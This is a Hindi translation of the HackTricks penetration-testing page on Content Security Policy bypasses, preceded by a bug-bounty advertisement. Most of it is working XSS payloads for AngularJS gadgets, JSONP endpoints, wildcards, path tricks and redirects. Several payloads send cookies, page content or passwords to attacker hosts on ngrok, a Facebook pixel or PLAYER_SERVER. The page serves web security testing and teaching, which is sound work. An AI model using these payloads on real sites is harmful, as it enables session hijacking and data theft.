hacktricks/pentesting-web/content-security-policy-csp-bypass
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Hindi 2023-11-06 08:38:02 +00:00
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00

सामग्री सुरक्षा नीति (CSP) बाईपास

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof में सभी क्रिप्टो बग बाउंटी होम है।

देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी तभी शुरू होती हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। आपको इनाम उस बग को सत्यापित करने के बाद मिलेगा।

Web3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! इसके उभरते दिनों में web3 सुरक्षा को मास्टर करें।

Web3 हैकर लीजेंड बनें
प्रत्यायित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।

HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!

{% embed url="https://hackenproof.com/register" %}

CSP क्या है

सामग्री सुरक्षा नीति या CSP एक ब्राउज़र की तकनीक है जो क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से सुरक्षा प्रदान करने में मदद करती है। यह ब्राउज़र को सुरक्षित रूप से संसाधनों को लोड और चलाने के लिए पथ और स्रोतों की सूची बनाता है। संसाधनों में चित्र, फ्रेम, जावास्क्रिप्ट और अधिक शामिल हो सकते हैं। यहां एक उदाहरण है जहां स्थानीय डोमेन (स्वयं) से संसाधनों को लोड और इनलाइन में निष्पादित करने और eval, setTimeout या setInterval जैसे स्ट्रिंग कोड निष्पादित करने वाले फ़ंक्शनों की अनुमति होती है:

सामग्री सुरक्षा नीति को प्रतिक्रिया हैडर या HTML पेज के मेटा तत्वों के माध्यम से लागू किया जाता है। ब्राउज़र प्राप्त नीति का पालन करता है और उन्हें गलतियों को सक्रिय रूप से अवरोधित करता है जैसे ही वे पता चलती हैं।

प्रतिक्रिया हैडर के माध्यम से लागू किया गया है:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

एक मेटा टैग के माध्यम से लागू किया जाता है:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

हेडर्स

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only यह कुछ नहीं रोकेगा, केवल रिपोर्ट भेजेगा (प्री वातावरण में उपयोग करें)।

संसाधनों को परिभाषित करना

CSP कार्य करने के लिए उसे प्राथमिक और गैर-प्राथमिक सामग्री को लोड करने के लिए मूल से प्रतिबंधित करके काम करता है। यह सक्रिय सामग्री के निश्चित पहलुओं को भी प्रतिबंधित कर सकता है, जैसे कि इनलाइन जावास्क्रिप्ट की क्रियान्वयन और eval() का उपयोग।

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

निर्देश

  • script-src: यह निर्देश जावास्क्रिप्ट के लिए अनुमति देता है। इसमें केवल तत्वों में सीधे लोड होने वाले URL ही शामिल होते हैं, साथ ही साथ इनलाइन स्क्रिप्ट इवेंट हैंडलर (onclick) और XSLT स्टाइलशीट भी शामिल होते हैं जो स्क्रिप्ट क्रियान्वयन को ट्रिगर कर सकते हैं।
  • default-src: यह निर्देश डिफ़ॉल्ट रूप से संसाधनों को प्राप्त करने के लिए नीति का परिभाषित करता है। जब एसपीएस हैडर में फ़ेच निर्देश अनुपस्थित होते हैं, तो ब्राउज़र डिफ़ॉल्ट रूप से इस निर्देश का पालन करता है।
  • Child-src: यह निर्देश वेब वर्कर्स और एम्बेडेड फ़्रेम सामग्री के लिए अनुमति देता है।
  • connect-src: यह निर्देश fetch, websocket, XMLHttpRequest जैसे इंटरफ़ेस का उपयोग करके URL लोड करने की सीमा लगाता है।
  • frame-src: यह निर्देश बुलाए जा सकने वाले फ़्रेम के लिए URL की सीमा लगाता है।
  • frame-ancestors: यह निर्देश वर्तमान पृष्ठ को एम्बेड कर सकने वाले स्रोतों को निर्दिष्ट करता है। यह निर्देश <frame>, <iframe>, <object>, <embed>, या <applet> के लिए उपयोग किया नहीं जा सकता है। यह निर्देश टैग में उपयोग नहीं किया जा सकता है और केवल गैर-एचटीएमएल संसाधनों के लिए ही लागू होता है।
  • img-src: इसमें वेब पृष्ठ पर छवियों को लोड करने के लिए अनुमति देने वाले स्रोतों को परिभाषित किया जाता है।
  • font-src: निर्देश फ़ॉन्ट्स के लिए @font-face का उपयोग करके लोड होने वाले मान्य स्रोतों को निर्दिष्ट करता है।
  • manifest-src: यह निर्देश आवेदन मानिफ़ेस्ट फ़ाइलों के अनुमतित स्रोतों को परिभाषित करता है।
  • media-src: यह निर्देश मीडिया ऑब्जेक्ट को लोड करने के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
  • object-src: यह निर्देश <object>, <embed>, और <applet> तत्वों के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
  • base-uri: यह निर्देश उन URL को परिभाषित करता है जिन्हें एक तत्व का उपयोग करके लोड किया जा सकता है।
  • form-action: यह निर्देश टैग से सबमिशन के लिए मान्य अंत-बिंदुओं की सूची बनाता है।
  • plugin-types: यह निर्देश पृष्ठ द्वारा उपयोग किए जा सकने वाले माइम प्रकारों पर सीमाएँ परिभाषित करता है।
  • upgrade-insecure-requests: यह निर्देश ब्राउज़र को URL योजनाओं को पुनर्लेखित करने के लिए निर्देशित करता है, HTTP को HTTPS में बदलता है। यह निर्देश पुराने URL के बड़े संख्या वाली वेबसाइटों के लिए उपयोगी हो सकता है जिन्हें पुनर्लेखित करने की आवश्यकता होती है।
  • sandbox: इस निर्देश द्वारा अनुरोधित संसाधन के लिए एक सैंडबॉक्स सक्षम किया जाता है, जो सैंडबॉक्स विशेषता के साथ एक पृष्ठ की क्रियाएँ पर प्रतिबंध लगाता है, जैसे पॉपअप्स को रोकना, प्लगइन और स्क्रिप्ट का क्रियान्वयन रोकना, और समान मूल नीति को प्रयोग करना।

स्रोत

  • *: इससे data: , blob: , filesystem: योजनाएँ को छोड़कर किसी भी URL की अनुमति होती है
  • self: यह स्रोत परिभाषित करता है कि पृष्ठ पर संसाधनों को एक ही डोमेन से लोड करने की अनुमति है।
  • data: यह स्रोत डेटा योजना के माध्यम से संसाधनों को लोड करने की अनुमति देता है (उदा। बेस64 कोड किए गए छवियाँ)
  • none: यह निर्देश किसी भी स्रोत से कुछ भी लोड करने की अनुमति नहीं देता है।
  • unsafe-eval: इससे eval() और इसके समान विधियों का उपयोग स्ट्रिंग से कोड बनाने के लिए किया जा सकता है। इसे किसी निर्देश में शामिल करना सुरक्षित नहीं है। इसी कारण से, इसे असुरक्षित कहा जाता है।
  • unsafe-hashes: इससे विशेष इनलाइन इवेंट हैंडलर को सक्षम किया जा सकता है।
  • unsafe-inline: इससे इनलाइन संसाधनों, जैसे इनलाइन तत्व, जावास्क्रिप्ट: URL, इनलाइन इवेंट हैंडलर और इनलाइन तत्वों का उपयोग किया जा सकता है। फिर भी इसे सुरक्षा कारणों के लिए अनुशंसित नहीं किया जाता है।
  • nonce: एक क्रिप्टोग्राफिक नॉन्स (एक बार उपयोग होने वाली संख्या) का उपयोग करके विशेष इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट। सर्वर को प्रत्येक बार जब वह नीति प्रसारित करता है, एक अद्वितीय नॉन्स मान उत्पन्न
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

कार्यक्षमता लोड: "/><script>alert(1);</script>

Iframes के माध्यम से self + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

कार्यरत पेलोड:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी भी तरीके से एक अनुमति प्राप्त JS कोड ने अपने JS कोड के साथ DOM में एक नया स्क्रिप्ट टैग बनाया है, क्योंकि एक अनुमति प्राप्त स्क्रिप्ट इसे बना रहा है, तो नया स्क्रिप्ट टैग को निष्पादित करने की अनुमति होगी

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

कार्यरत पेलोड:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

ऑब्जेक्ट-एसआरसी और डिफ़ॉल्ट-एसआरसी की कमी

{% hint style="danger" %} ऐसा लगता है कि यह अब काम नहीं कर रहा है {% endhint %}

Content-Security-Policy: script-src 'self' ;

कार्यरत पेलोड:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

यह तकनीक एक वेब ऐप्लिकेशन में Content Security Policy (CSP) के बाईपास करने के लिए उपयोगी हो सकती है। जब एक वेब ऐप्लिकेशन में CSP निर्धारित होता है, तो वह ब्राउज़र को बताता है कि कौन से संसाधनों को लोड करने की अनुमति है और कौन से नहीं। यदि CSP में 'self' निर्दिष्ट होता है, तो वह ब्राउज़र को बताता है कि केवल वेब ऐप्लिकेशन के अंतर्गत संसाधनों को ही लोड करने की अनुमति है।

इस तकनीक का उपयोग करके, हम फ़ाइल अपलोड फ़ील्ड में अपनी फ़ाइल को अपलोड कर सकते हैं और उसे वेब ऐप्लिकेशन के अंतर्गत संसाधन के रूप में लोड कर सकते हैं। इसके लिए, हमें फ़ाइल अपलोड फ़ील्ड में अपनी फ़ाइल को अपलोड करने के बाद, उसका URL प्राप्त करना होगा। फिर हम उस URL को वेब ऐप्लिकेशन के संसाधन के रूप में उपयोग कर सकते हैं। इस तरीके से, हम CSP को बाईपास करके अनुमति प्राप्त कर सकते हैं अपनी फ़ाइल को लोड करने के लिए।

यह तकनीक केवल उन वेब ऐप्लिकेशनों पर काम करेगी जहां CSP में 'self' निर्दिष्ट होता है और फ़ाइल अपलोड का उपयोग किया जा सकता है।

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बाईपास कर सकते हैं:

काम करने वाला पेलोड:

"/>'><script src="/uploads/picture.png.js"></script>

फिर भी, यह बहुत संभावित है कि सर्वर अपलोड की गई फ़ाइल की पुष्टि कर रहा है और केवल निर्धारित प्रकार की फ़ाइलों को ही अपलोड करने देगा।

इसके अलावा, यदि आप सर्वर द्वारा स्वीकार्य एक्सटेंशन (जैसे: script.png) का उपयोग करके फ़ाइल के भीतर जेएस कोड अपलोड कर सकते हैं, तो यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर एक्सटेंशन के आधार पर फ़ाइल के MIME प्रकार का चयन करते हैं और Chrome जैसे ब्राउज़र जेएस कोड को निष्पादित करने से इनकार करेंगे जो कि एक छवि होनी चाहिए। "आशा है", यहां गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा है कि अपाचे नहीं जानता है .wave एक्सटेंशन, इसलिए यह एक ऑडियो/* जैसे MIME प्रकार के साथ सेव नहीं करता है।

यहां से, यदि आपको एक XSS और फ़ाइल अपलोड मिलता है, और आपको एक गलत अनुवादित एक्सटेंशन मिलता है, तो आप उस एक्सटेंशन के साथ एक फ़ाइल और स्क्रिप्ट की सामग्री को अपलोड करने का प्रयास कर सकते हैं। या यदि सर्वर ने अपलोड की गई फ़ाइल की सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाने का प्रयास करें (यहां कुछ पॉलीग्लॉट उदाहरण)।

थर्ड पार्टी एंडपॉइंट्स + ('unsafe-eval')

{% hint style="warning" %} कुछ इसके लिए पेलोड के लिए unsafe-eval की आवश्यकता नहीं होती है। {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक वंशवादी संस्करण लोड करें और विचारशील JS को क्रियान्वित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + एक पुस्तकालय का उपयोग करके पेलोड (इस पोस्ट को देखें):

{% hint style="info" %} इस पोस्ट में दिखाया गया है कि आप सभी पुस्तकालयों को cdn.cloudflare.com (या किसी अन्य अनुमति प्राप्त JS पुस्तकालयों रेपो) से लोड कर सकते हैं, प्रत्येक पुस्तकालय से जोड़ी गई सभी फ़ंक्शनों को निष्पादित कर सकते हैं, और कौन से पुस्तकालयों के कौन से फ़ंक्शन window ऑब्जेक्ट लौटाते हैं की जांच कर सकते हैं। {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



Google recaptcha JS को दुरुपयोग करना

इस CTF व्राइटअप के अनुसार, आप https://www.google.com/recaptcha/ का दुरुपयोग करके एक CSP के अंदर अनियमित JS कोड को बाइपास कर सकते हैं:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

तीसरे पक्ष के एंडपॉइंट + JSONP

एक वेब ऐप्लिकेशन में Content Security Policy (CSP) का उपयोग करके, तीसरे पक्ष के एंडपॉइंट्स के साथ एक सुरक्षा नीति स्थापित की जा सकती है। यह नीति वेब ऐप्लिकेशन को बताती है कि कौन से डोमेन्स पर संसाधित करने की अनुमति है।

इसके बावजूद, तीसरे पक्ष के एंडपॉइंट्स के साथ एक बात है - JSONP (JSON with Padding)। JSONP एक तरह का डेटा प्राप्ति प्रोटोकॉल है जो वेब ऐप्लिकेशन को अन्य डोमेन्स से डेटा प्राप्त करने की अनुमति देता है।

इसका उपयोग करके, हम तीसरे पक्ष के एंडपॉइंट्स के साथ एक CSP बाइपास कर सकते हैं। हम एक <script> टैग का उपयोग करके तीसरे पक्ष के एंडपॉइंट पर एक JSONP अनुरोध भेज सकते हैं। इस प्रक्रिया में, वेब ऐप्लिकेशन को तीसरे पक्ष के एंडपॉइंट के साथ संवाद स्थापित करने की अनुमति होती है और इसे अपनी नीति के बाहर जाने की आवश्यकता नहीं होती है।

इस तकनीक का उपयोग करके, हम तीसरे पक्ष के एंडपॉइंट्स से डेटा प्राप्त कर सकते हैं और इसे अपनी वेब ऐप्लिकेशन में प्रदर्शित कर सकते हैं, जबकि CSP नीति को पूरा किया जाता है।

यह तकनीक केवल तब काम करेगी जब तीसरे पक्ष के एंडपॉइंट्स JSONP समर्थित करते हों और वेब ऐप्लिकेशन में CSP नीति सक्षम हो।

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

इस तरह की स्थितियों में जहां script-src को self और एक विशेष डोमेन जिसे व्हाइटलिस्ट किया गया है, सेट किया जाता है, JSONP का उपयोग करके बाईपास किया जा सकता है। JSONP एंडपॉइंट्स असुरक्षित कॉलबैक मेथड्स को संभवतः अनुमति देते हैं, जिससे हमलावर XSS कार्रवाई कर सकता है, कार्यक्षम पेलोड:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee में विभिन्न वेबसाइटों के सीएसपी बाइपास के लिए तत्पर JSONP एंडपॉइंट्स शामिल हैं।

यदि विश्वसनीय एंडपॉइंट में एक खुला पुनर्निर्देशन होता है, तो एक ही सुरक्षितता की कमी होगी क्योंकि यदि प्राथमिक एंडपॉइंट विश्वसनीय होता है, तो पुनर्निर्देशन भी विश्वसनीय होते हैं।

तृतीय पक्ष के दुरुपयोग

इस पोस्ट में वर्णित किए गए तृतीय पक्ष डोमेनों में कई ऐसे डोमेन हैं, जो कहीं-न-कहीं सीएसपी में अनुमति हो सकती हैं, जिनका दुरुपयोग डेटा को निकालने या जावास्क्रिप्ट कोड को निष्पादित करने के लिए किया जा सकता है। कुछ तृतीय पक्ष डोमेनों में शामिल हैं:

संगठन अनुमति प्राप्त डोमेन क्षमताएँ
फेसबुक www.facebook.com, *.facebook.com डेटा निकालना
हॉटजार *.hotjar.com, ask.hotjar.io डेटा निकालना
जेएसडेलीवर *.jsdelivr.com, cdn.jsdelivr.net कोड निष्पादित करना
अमेज़न क्लाउडफ्रंट *.cloudfront.net डेटा निकालना, कोड निष्पादित करना
अमेज़न एडब्ल्यूएस *.amazonaws.com डेटा निकालना, कोड निष्पादित करना
एज़्यूर वेबसाइट्स *.azurewebsites.net, *.azurestaticapps.net डेटा निकालना, कोड निष्पादित करना
सेल्सफोर्स हेरोकू *.herokuapp.com डेटा निकालना, कोड निष्पादित करना
गूगल फायरबेस *.firebaseapp.com डेटा निकालना, कोड निष्पादित करना

यदि आपके लक्ष्य की सीएसपी में किसी भी अनुमति प्राप्त डोमेन का पता चलता है, तो संभावना है कि आप तृतीय-पक्ष सेवा पर पंजीकरण करके सीएसपी को बाइपास कर सकते हैं और या तो उस सेवा को डेटा निकालने के लिए या कोड निष्पादित करने के लिए उपयोग कर सकते हैं।

उदाहरण के लिए, यदि आप निम्नलिखित सीएसपी पाते हैं:

Content-Security-Policy: default-src 'self www.facebook.com;

या

Content-Security-Policy: connect-src www.facebook.com;

आपको डेटा को निकालने में सक्षम होना चाहिए, जैसा कि Google Analytics/Google Tag Manager के साथ हमेशा किया जाता था। इस मामले में, आप निम्नलिखित सामान्य चरणों का पालन करते हैं:

  1. यहां एक Facebook Developer खाता बनाएं।
  2. एक नया "Facebook Login" ऐप बनाएं और "वेबसाइट" का चयन करें।
  3. "सेटिंग्स -> मूल" पर जाएं और अपना "ऐप आईडी" प्राप्त करें।
  4. जिस साइट से आप डेटा निकालना चाहते हैं, आप फेसबुक एसडीके गैजेट "fbq" का उपयोग करके "कस्टम इवेंट" और डेटा पेलोड के माध्यम से सीधे डेटा निकाल सकते हैं।
  5. अपने ऐप "इवेंट प्रबंधक" पर जाएं और आपके द्वारा बनाए गए ऐप्लिकेशन का चयन करें (ध्यान दें कि इवेंट प्रबंधक इस यूआरएल के समान एक यूआरएल में मिल सकता है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
  6. "परीक्षण इवेंट" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट देखें।

फिर, पीड़ित पक्ष पर, आप निम्नलिखित कोड को निष्पादित करते हैं ताकि आप Facebook ट्रैकिंग पिक्सल को आक्रमक के Facebook डेवलपर खाता ऐप-आईडी पर इनिशियलाइज़ कर सकें और एक कस्टम इवेंट जारी करें जैसे:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

जैसा कि पिछले तालिका में निर्दिष्ट सात तृतीय-पक्ष डोमेन के बारे में है, आप उन्हें अन्य कई तरीकों से दुरुपयोग कर सकते हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले से ही ब्लॉग पोस्ट का संदर्भ दें।

RPO (Relative Path Overwrite) के माध्यम से बाईपास

पथ प्रतिबंधों को दुरुपयोग करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, कुछ सर्वरों पर एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है।

उदाहरण के लिए, यदि CSP https://example.com/scripts/react/ पथ को अनुमति देता है, तो इसे निम्नलिखित तरीके से बाईपास किया जा सकता है:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र अंततः https://example.com/scripts/angular/angular.js लोड करेगा।

यह काम करता है क्योंकि ब्राउज़र के लिए आप https://example.com/scripts/react/ के नीचे स्थित ..%2fangular%2fangular.js नामक फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है।

हालांकि, कुछ सर्वरों के लिए, जब अनुरोध प्राप्त करते हैं, वे इसे डिकोड करेंगे, असरदार रूप से https://example.com/scripts/react/../angular/angular.js का अनुरोध करते हैं, जो https://example.com/scripts/angular/angular.js के समान है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में असंगति का उपयोग करके पथ नियमों को उल्लंघन करके इसे बाईपास किया जा सकता है।

समस्या का समाधान सर्वर-साइड पर %2f को / के रूप में न लेना है, इससे ब्राउज़र और सर्वर के बीच संगत व्याख्या सुनिश्चित होगी और इस समस्या से बचा जा सकेगा।

ऑनलाइन उदाहरण: https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

गायब base-uri

यदि base-uri निर्देशिका अनुपस्थित है, तो आप इसका दुरुपयोग करके डैंगलिंग मार्कअप इंजेक्शन कर सकते हैं।

इसके अलावा, यदि पृष्ठ एक संबंधित पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">) और एक Nonce का उपयोग कर रहा है, तो आप base tag का दुरुपयोग करके इसे अपने सर्वर से स्क्रिप्ट लोड करने के लिए कर सकते हैं और XSS प्राप्त कर सकते हैं।
यदि विकल्पशील पृष्ठ httpS के साथ लोड होता है, तो बेस में एक httpS url का उपयोग करें।

<base href="https://www.attacker.com/">

AngularJS इवेंट्स

निर्दिष्ट नीति के आधार पर, सीएसपी जावास्क्रिप्ट इवेंट्स को ब्लॉक करेगा। हालांकि, AngularJS अपने खुद के इवेंट्स को परिभाषित करता है जो उपयोग किए जा सकते हैं। जब एक इवेंट के भीतर होते हैं, तो AngularJS एक विशेष $event ऑब्जेक्ट परिभाषित करता है, जो केवल ब्राउज़र इवेंट ऑब्जेक्ट को संदर्भित करता है। आप इस ऑब्जेक्ट का उपयोग करके सीएसपी को बाइपास कर सकते हैं। Chrome पर, $event/event ऑब्जेक्ट पर एक विशेष प्रॉपर्टी होती है जिसका नाम path है। यह प्रॉपर्टी एक ऑब्जेक्ट के एक ऐरे को संदर्भित करती है जो इवेंट को निष्पादित करता है। अंतिम प्रॉपर्टी हमेशा window ऑब्जेक्ट होती है, जिसका हम सैंडबॉक्स एस्केप के लिए उपयोग कर सकते हैं। हम इस ऐरे को orderBy फ़िल्टर को पास करके ऐरे को गणना कर सकते हैं और अंतिम तत्व (विंडो ऑब्जेक्ट) का उपयोग करके एक ग्लोबल फ़ंक्शन, जैसे alert() को निष्पादित कर सकते हैं। निम्नलिखित कोड इसे दिखाता है:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

अंगुलर बाईपास के अन्य तरीकों को खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

अंगुलरजेएस और व्हाइटलिस्टेड डोमेन

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

यदि एप्लिकेशन angular JS का उपयोग कर रही है और स्क्रिप्ट व्हाइटलिस्टेड डोमेन से लोड हो रहे हैं। तो कॉलबैक फंक्शन और वल्नरबल क्लासेस को कॉल करके इस CSP नीति को बाईपास करना संभव है। अधिक विवरणों के लिए इस शानदार गिट रेपो पर जाएं।

काम करने वाले पेलोड:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

अन्य JSONP अनियंत्रित क्रियान्वयन अंत-बिंदु यहां में मिल सकते हैं (उनमें से कुछ हटा दिए गए या ठीक किए गए थे)

पुनर्निर्देशन के माध्यम से बाइपास

CSP को सर्वर-साइड पुनर्निर्देशन के साथ क्या होता है? यदि पुनर्निर्देशन एक अनुमति नहीं प्राप्त करने वाले अलग मूल की ओर ले जाता है, तो यह असफल हो जाएगा।

हालांकि, CSP स्पेक 4.2.2.3. पथ और पुनर्निर्देश में दिए गए विवरण के अनुसार, यदि पुनर्निर्देश एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बाइपास कर सकता है।

यहां एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP को https://www.google.com/a/b/c/d पर सेट किया जाता है, क्योंकि पथ को मान्यता दी जाती है, इसलिए /test और /a/test स्क्रिप्ट दोनों को CSP द्वारा अवरुद्ध किया जाएगा।

हालांकि, अंतिम http://localhost:5555/301 सर्वर-साइड पर https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर पुनर्निर्देशित होगा। यह एक पुनर्निर्देशन होने के कारण, पथ को मान्यता नहीं दी जाती है, और स्क्रिप्ट लोड किया जा सकता है, इसलिए पथ प्रतिबंध को दूर कर दिया जाता है।

इस पुनर्निर्देशन के साथ, यदि पथ पूरी तरह से निर्दिष्ट किया जाता है, तो भी इसे अनदेखा किया जाएगा।

इसलिए, सबसे अच्छा समाधान यह है कि सुनिश्चित किया जाए कि वेबसाइट में कोई खुला पुनर्निर्देशन संबंधित सुरक्षा संकट नहीं है और CSP नियमों में उपयोग किए जा सकने वाले कोई डोमेन नहीं हैं।

डैंगलिंग मार्कअप के साथ CSP को बाईपास करें

यहां पढ़ें कि कैसे।

'unsafe-inline'; img-src *; के माध्यम से XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' यह अर्थ है कि आप कोड के अंदर किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं (XSS कोड को निष्पादित कर सकता है) और img-src * यह अर्थ है कि आप वेबपेज में किसी भी स्रोत से किसी भी छवि का उपयोग कर सकते हैं।

आप इस CSP को छवियों के माध्यम से डेटा को बाहर निकालकर इसे बाईपास कर सकते हैं (इस अवसर में XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा पहुंचने योग्य पृष्ठ में एक SQLi होता है, और छवि के माध्यम से ध्वज निकालता है):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि में सम्मिलित जावास्क्रिप्ट को लोड कर सकते हैं। उदाहरण के लिए, अगर पेज ट्विटर से छवियों को लोड करने की अनुमति देता है। तो आप एक विशेष छवि बना सकते हैं, इसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड (एक नियमित XSS के रूप में) चला सकते हैं जो छवि को लोड करेगा, उससे JS को निकालेगा और उसे चलाएगा: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

